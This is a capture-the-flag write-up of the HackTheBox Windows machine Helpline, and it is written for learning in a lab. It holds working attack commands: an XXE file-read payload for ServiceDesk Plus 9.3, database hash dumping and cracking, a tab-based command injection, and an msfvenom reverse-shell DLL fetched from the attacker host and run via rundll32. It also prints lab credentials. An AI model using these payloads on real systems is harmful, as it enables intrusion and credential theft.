HTB: Helpline Writeup

Helpline - HackTheBox Writeup

Machine Information

AttributeDetails
NameHelpline
OSWindows
DifficultyHard
Points40
Release Date04 May 2019
IP Address10.129.96.159
Authoregre55

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Helpline is a hard-difficulty Windows machine that demands thorough enumeration at every privilege level. The attack begins by exploiting an XML External Entity (XXE) vulnerability in ManageEngine ServiceDesk Plus 9.3 to extract credentials from the file system. Initial access as a low-privileged user reveals a PostgreSQL database containing bcrypt password hashes, which when cracked provide credentials for lateral movement. A member of the Event Log Readers group can read Windows Security logs, but the Kerberos double-hop problem necessitates CredSSP authentication to retrieve sensitive process creation events containing additional credentials. Further lateral movement reveals a scheduled PowerShell script vulnerable to command injection through tab-separated payloads, allowing code execution as another user. Finally, Administrator credentials are recovered from a PowerShell SecureString object, requiring CredSSP authentication again to decrypt the user flag protected by EFS and retrieve the root flag.

TL;DR: XXE (CVE-2017-9362) in ServiceDesk Plus 9.3 → alice credentials → PostgreSQL hash dump → crack zachary/fiona passwords → CredSSP + Event Log read → tolu credentials → command injection in scheduled script → leo shell → decrypt Administrator SecureString → CredSSP as Administrator → root.txt


Reconnaissance

Port Scanning

Terminal window
# Quick port discovery
nmap -p- --min-rate=1000 -T4 10.129.96.159
# Detailed service enumeration on discovered ports
nmap -sC -sV -p 135,445,5985,8080,49664,49665,49666,49667,49668,49669 10.129.96.159

Results:

PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1

Service Enumeration

SMB (445/TCP)

Terminal window
# Attempt anonymous SMB enumeration
smbclient -N -L \\\\10.129.96.159

Guest authentication is denied, preventing anonymous share enumeration.

HTTP (8080/TCP)

Browsing to http://10.129.96.159:8080 reveals ManageEngine ServiceDesk Plus, a helpdesk ticketing system. The login page footer indicates version 9.3 build 9312.

Default credentials guest/guest successfully authenticate and provide access to the ticket system. Exploring existing tickets reveals a “Password Audit” solution containing an attached Excel file (Password Audit.xlsx).

The spreadsheet contains:

  • A hidden sheet named “Password Data” with weak passwords found during an internal audit
  • A critical file path reference: C:\Temp\Password Audit\it_logins.txt

This file path becomes a high-value target for out-of-band data exfiltration.

WinRM (5985/TCP)

Windows Remote Management is exposed, allowing PowerShell remoting if valid credentials are obtained.

Vulnerability Assessment

  1. ManageEngine ServiceDesk Plus 9.3 — vulnerable to CVE-2017-9362, an XML External Entity (XXE) injection in the /api/cmdb/ci API endpoint
  2. WinRM exposed — enables remote code execution with valid credentials
  3. AppLocker enabled with DLL execution allowed — constrains but does not fully prevent code execution
  4. PowerShell Constrained Language Mode — limits automated enumeration tools

Initial Foothold

XXE Exploitation (CVE-2017-9362)

The /api/cmdb/ci API endpoint accepts XML input through the INPUT_DATA parameter and processes it without proper validation. This allows injection of external entity declarations to read arbitrary files from the server’s file system.

Exploitation Steps

Terminal window
# Send XXE payload to extract C:\Temp\Password Audit\it_logins.txt
# Using Burp Suite or curl to POST to /api/cmdb/ci

Payload construction:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///C:\Temp\Password Audit\it_logins.txt">]>
<API version='1.0' locale='en'>
<records>
<record>
<parameter>
<name>CI Name</name>
<value>&xxe;</value>
</parameter>
</record>
</records>
</API>

Request parameters:

  • OPERATION_NAME=add (required operation)
  • INPUT_DATA=<URL-encoded XML payload>

Why this works:

  • The application parses XML without disabling external entity processing
  • The &xxe; entity reference is replaced with the contents of the specified file
  • The file contents are reflected in the API response within the CI Name field

Extracted credentials from it_logins.txt:

local Windows account created
username: alice
password: $sys4ops@megabank!
admin required: no

Initial Access via WinRM

Terminal window
# Using evil-winrm or PSRemoting to establish a session
evil-winrm -i 10.129.96.159 -u alice -p '$sys4ops@megabank!'

Alternatively, using PowerShell from a Linux environment with proper NTLM authentication:

Terminal window
# Create credential object
$pass = ConvertTo-SecureString '$sys4ops@megabank!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('alice', $pass)
# Establish PSSession
$session = New-PSSession -ComputerName 10.129.96.159 -Credential $cred -Authentication Negotiate
Enter-PSSession $session

Environment constraints discovered:

  • PowerShell is running in Constrained Language Mode (restricts .NET API access)
  • AppLocker is enforced (blocks most executables, but allows DLLs)
  • No direct access to user.txt due to EFS encryption

Privilege Escalation

Stage 1: PostgreSQL Database Enumeration

ServiceDesk Plus uses an embedded PostgreSQL database. Exploring the E: drive reveals the installation directory at E:\ManageEngine\ServiceDesk\.

Terminal window
# Navigate to PostgreSQL binary directory
cd E:\ManageEngine\ServiceDesk\pgsql\bin
# Connect to database (default credentials, localhost:65432)
.\psql.exe -h 127.0.0.1 -p 65432 -U postgres -d servicedesk

Database enumeration:

-- List all tables
\dt
-- Dump user accounts and password hashes
SELECT aaauser.first_name, aaapassword.password
FROM aaauser, aaapassword
WHERE aaauser.user_id = aaapassword.password_id;

Extracted hashes:

administrator | $2a$12$hmG6bvLokc9jNMYqoCpw2Op5ji7CWeBssq1xeCmU.ln/yh0OB..aS
guest | $2a$12$6VGARvoc/dRcRxOckr6WmucFnKFfxdbEMcJvQdJaS5beNK0ci0laG
zachary | $2a$12$G/dcjszR6/vVNdj2n.pnauXXiC/CQDtjQ1drN.vmFFeJTIJjpLlEC
fiona | $2a$12$yQ6GZ5fOY1p77RlO/l4hZO.1692824/bQB3SWFPI7PZd5uRP6CnqG
leo | $2a$12$Cof.VSGhywrwk4RfXF0A7enQNNZQqmowNbqoiYaM.x71HNrBoU3DK

Password cracking with John the Ripper:

Terminal window
# Save hashes to file
cat > hashes.txt <<EOF
zachary:$2a$12$hmG6bvLokc9jNMYqoCpw2Op5ji7CWeBssq1xeCmU.ln/yh0OB..aS
fiona:$2a$12$yQ6GZ5fOY1p77RlO/l4hZO.1692824/bQB3SWFPI7PZd5uRP6CnqG
EOF
# Crack with rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt hashes.txt

Cracked credentials:

  • zachary:0987654321
  • fiona:1q2w3e4r

Stage 2: Event Log Enumeration via CredSSP

Terminal window
# Check group memberships
net user zachary
net user fiona

Key finding: Zachary is a member of Event Log Readers, which grants read access to Windows event logs including the Security log. However, direct attempts to query event logs fail due to the Kerberos double-hop problem.

Understanding the Double-Hop Problem

When authenticating via WinRM:

  1. First hop: Client → Helpline (credentials verified)
  2. Second hop: Helpline → Helpline (attempting to use zachary’s credentials)

The default Negotiate authentication does not delegate credentials to the target machine, preventing the second hop. CredSSP (Credential Security Support Provider) authentication solves this by allowing credential delegation.

CredSSP Configuration (from attack box)

For demonstration purposes using Python’s pypsrp library over HTTP/5985:

# Python script to execute wevtutil with CredSSP authentication
from pypsrp.client import Client
# Connect as alice with CredSSP
client = Client("10.129.96.159", username="alice", password="$sys4ops@megabank!",
ssl=False, auth="credssp")
# Execute wevtutil as zachary (second-hop authentication works with CredSSP)
cmd = "wevtutil qe Security /u:zachary /p:0987654321 /r:helpline /f:text"
stdout, stderr, rc = client.execute_cmd(cmd)

Why CredSSP is required:

  • Standard WinRM authentication does not forward credentials to the target
  • CredSSP performs a full network logon, making credentials available to the remote session
  • This allows zachary’s credentials to be used for local authentication to the Event Log service

Event Log Analysis

Searching the Security log for process creation events (Event ID 4688) reveals sensitive command lines:

Process Command Line:
net use k: \\helpline\todos /user:tolu !zaq1234567890pl!99

Extracted credentials:

  • tolu:!zaq1234567890pl!99
Terminal window
# Verify group membership
net user tolu

Tolu is a member of Remote Management Users, enabling WinRM access.

Stage 3: Lateral Movement to Tolu

Terminal window
# Create new session as tolu
$pass = ConvertTo-SecureString '!zaq1234567890pl!99' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('tolu', $pass)
$session = New-PSSession -ComputerName 10.129.96.159 -Credential $cred -Authentication CredSSP
Enter-PSSession $session

Note: user.txt on tolu’s desktop is EFS-encrypted. Reading it requires a CredSSP session as tolu to unlock the DPAPI master key.

Terminal window
# Read user flag with proper DPAPI access via CredSSP
type C:\Users\tolu\Desktop\user.txt
# <redacted>

Stage 4: Command Injection in Scheduled Script

Exploring the file system as tolu reveals write access to E:\Scripts\:

Terminal window
cd E:\Scripts
dir

Files found:

  • SDP_Checks.ps1 — scheduled PowerShell script (runs every 5 minutes as leo)
  • backups.txt — user input file (processed by script)
  • output.txt — script execution log

Script analysis (E:\Scripts\SDP_Checks.ps1):

Terminal window
# Sanitizes backups.txt input and executes xcopy commands
if (Test-Path E:\Scripts\backups.txt) {
Copy-Item E:\Scripts\backups.txt E:\Scripts\Processing\backups.txt
# Heavy sanitization (removes: exe, msi, ps1, cmd, bat, dll, space, &, {, }, /, \, ", ', (, ), .)
$file = Get-Content E:\Scripts\Processing\backups.txt
$file -replace "exe","" > E:\Scripts\Processing\backups.txt
# ... (15 more replace operations)
ForEach ($backup in Get-Content "E:\Scripts\Processing\backups.txt") {
$Command = "echo D | xcopy /E /R /C /Y /H /F /V E:\Backups\$backup E:\Restore\$backup"
Invoke-Expression $Command
}
}

Vulnerability: Invoke-Expression executes the constructed string, allowing command injection. While heavy sanitization removes most dangerous characters, tab characters (\t) are not filtered.

Exploitation Strategy

PowerShell’s -replace operator only removes spaces ( ) but not tabs. We can inject commands using tab-separated values:

Terminal window
# Create DLL payload for rundll32 execution
# (DLL files are allowed by AppLocker, rundll32.exe is whitelisted)
# On attack box: generate reverse shell DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 \
-f dll -o pwn.dll
# Transfer DLL to target
Invoke-WebRequest -Uri http://10.10.14.2/pwn.dll -OutFile E:\Scripts\pwn.dll

Payload construction:

Terminal window
# Create script file with tab-separated command
# Tab character preserves command structure after sanitization
$payload = ";`$exec=cat`tscript;iex`t`$exec;"
Set-Content -Path E:\Scripts\backups.txt -Value $payload
# Create script with actual command (will be executed via iex)
Set-Content -Path E:\Scripts\script -Value "rundll32 E:\Scripts\pwn.dll,DllMain"

Why this works:

  1. The backtick-tab (`t) represents a literal tab character in PowerShell
  2. Sanitization removes spaces but not tabs
  3. After sanitization: ;$exec=cat<tab>script;iex<tab>$exec;
  4. PowerShell parses tabs as valid whitespace
  5. iex executes the content of script, which launches the DLL

Simpler alternate method used in actual exploit:

Terminal window
# Direct tab-separated payload in backups.txt
# Format: ;$command<tab>arg1<tab>arg2;
Set-Content -Path E:\Scripts\backups.txt -Value ";rundll32`tE:\Scripts\pwn.dll,DllMain;"

Setup listener and wait for scheduled execution:

Terminal window
# On attack box
nc -lvnp 443

After approximately 5 minutes (script schedule interval), a reverse shell connects as leo.

Stage 5: Administrator Credential Recovery

Exploring leo’s desktop reveals admin-pass.xml:

Terminal window
cd C:\Users\leo\Desktop
type admin-pass.xml

Contents:

<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
...
</TN>
<Props>
<S N="UserName">administrator</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb0100000...</SS>
</Props>
</Obj>
</Objs>

This is a PowerShell SecureString credential object. The password is encrypted using Windows DPAPI (Data Protection API) with leo’s master key.

Decryption:

Terminal window
# Import the credential object
$cred = Import-Clixml C:\Users\leo\Desktop\admin-pass.xml
# Extract plaintext password
$cred.GetNetworkCredential().Password
# mb@letmein@SERVER#acc

Why decryption works:

  • SecureStrings are encrypted per-user using DPAPI
  • The shell is running as leo, so leo’s master key is available
  • GetNetworkCredential() decrypts and returns the plaintext password

Administrator credentials:

  • administrator:mb@letmein@SERVER#acc

Final Privilege Escalation

Terminal window
# Establish CredSSP session as Administrator
$pass = ConvertTo-SecureString 'mb@letmein@SERVER#acc' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('administrator', $pass)
$session = New-PSSession -ComputerName 10.129.96.159 -Credential $cred -Authentication CredSSP
Enter-PSSession $session
# Retrieve root flag
type C:\Users\Administrator\Desktop\root.txt
# <redacted>

Attack Chain Summary

Nmap (8080 ServiceDesk Plus 9.3)
→ XXE (CVE-2017-9362) read C:\Temp\Password Audit\it_logins.txt
→ alice:$sys4ops@megabank!
→ WinRM as alice
→ PostgreSQL dump (port 65432)
→ Crack bcrypt hashes (zachary:0987654321, fiona:1q2w3e4r)
→ CredSSP as alice + wevtutil /u:zachary
→ Event Log 4688 reveals tolu:!zaq1234567890pl!99
→ WinRM + CredSSP as tolu (decrypt user.txt via DPAPI)
→ E:\Scripts\backups.txt command injection (tab-separated payload)
→ Rundll32 + DLL → shell as leo
→ Decrypt admin-pass.xml SecureString → administrator:mb@letmein@SERVER#acc
→ CredSSP as administrator → root.txt

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
smbclientSMB enumeration
curl / Burp SuiteXXE exploitation via HTTP
evil-winrm / pypsrpWinRM remote access with CredSSP support
psql.exePostgreSQL database enumeration
johnBcrypt password hash cracking
wevtutilWindows Event Log querying
msfvenomDLL payload generation
ncReverse shell listener
rundll32.exeDLL execution (AppLocker bypass)

Key Learnings

Techniques Practiced

  • XML External Entity (XXE) exploitation to extract sensitive files
  • Constrained Language Mode and AppLocker enumeration to identify execution paths
  • PostgreSQL command-line enumeration in restricted environments
  • Bcrypt hash cracking with wordlist attacks
  • CredSSP authentication to solve the Kerberos double-hop problem
  • Windows Event Log forensics for credential discovery
  • Command injection via sanitization bypass using tab characters
  • DPAPI decryption of PowerShell SecureStrings
  • EFS-encrypted file access via proper user context

Lessons Learned

  1. Hidden spreadsheet data can contain valuable intelligence — always check for hidden sheets in Office documents found during enumeration.

  2. XXE vulnerabilities enable arbitrary file read — ManageEngine ServiceDesk Plus 9.3’s API endpoint demonstrates classic XXE exploitation. Modern applications should disable external entity processing (libxml_disable_entity_loader(true) in PHP, XMLInputFactory.setProperty(IS_SUPPORTING_EXTERNAL_ENTITIES, false) in Java).

  3. Embedded databases are high-value targets — ServiceDesk Plus’s PostgreSQL installation uses default credentials and runs with elevated privileges, containing sensitive password hashes.

  4. The Kerberos double-hop problem requires CredSSP — When performing remote administration tasks that require a second authentication hop, Negotiate/Kerberos authentication fails. CredSSP or resource-based constrained delegation must be configured.

  5. Windows Event Logs are a forensic goldmine — Security Event ID 4688 (process creation) with command-line auditing enabled captures credentials passed as arguments, a common operational security mistake.

  6. Input sanitization is fragile — The scheduled script attempted to sanitize user input with multiple replace operations, but failed to consider tab characters. Blacklist-based sanitization is inherently incomplete; prefer whitelisting or parameterized commands.

  7. AppLocker DLL rules are often neglected — While executable rules were strictly enforced, DLL rules were not configured, allowing rundll32.exe to execute arbitrary code. Both must be configured for defense in depth.

  8. PowerShell SecureStrings are only secure in context — DPAPI-encrypted credentials are protected against offline attacks, but any process running as the encrypting user can decrypt them. Credentials should be stored in proper vaults (Credential Manager, Azure Key Vault) with ACLs.

  9. EFS encryption requires proper user context — Encrypted file system (EFS) protects files at rest, but requires the user’s logon session (with DPAPI keys loaded) to decrypt. Network logons (standard WinRM) don’t load these keys; interactive or CredSSP logons do.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

This writeup incorporates technical explanations and vulnerability context from the official HackTheBox writeup for Helpline, authored by MinatoTW (Document No. D19.100.31, 13th November 2019).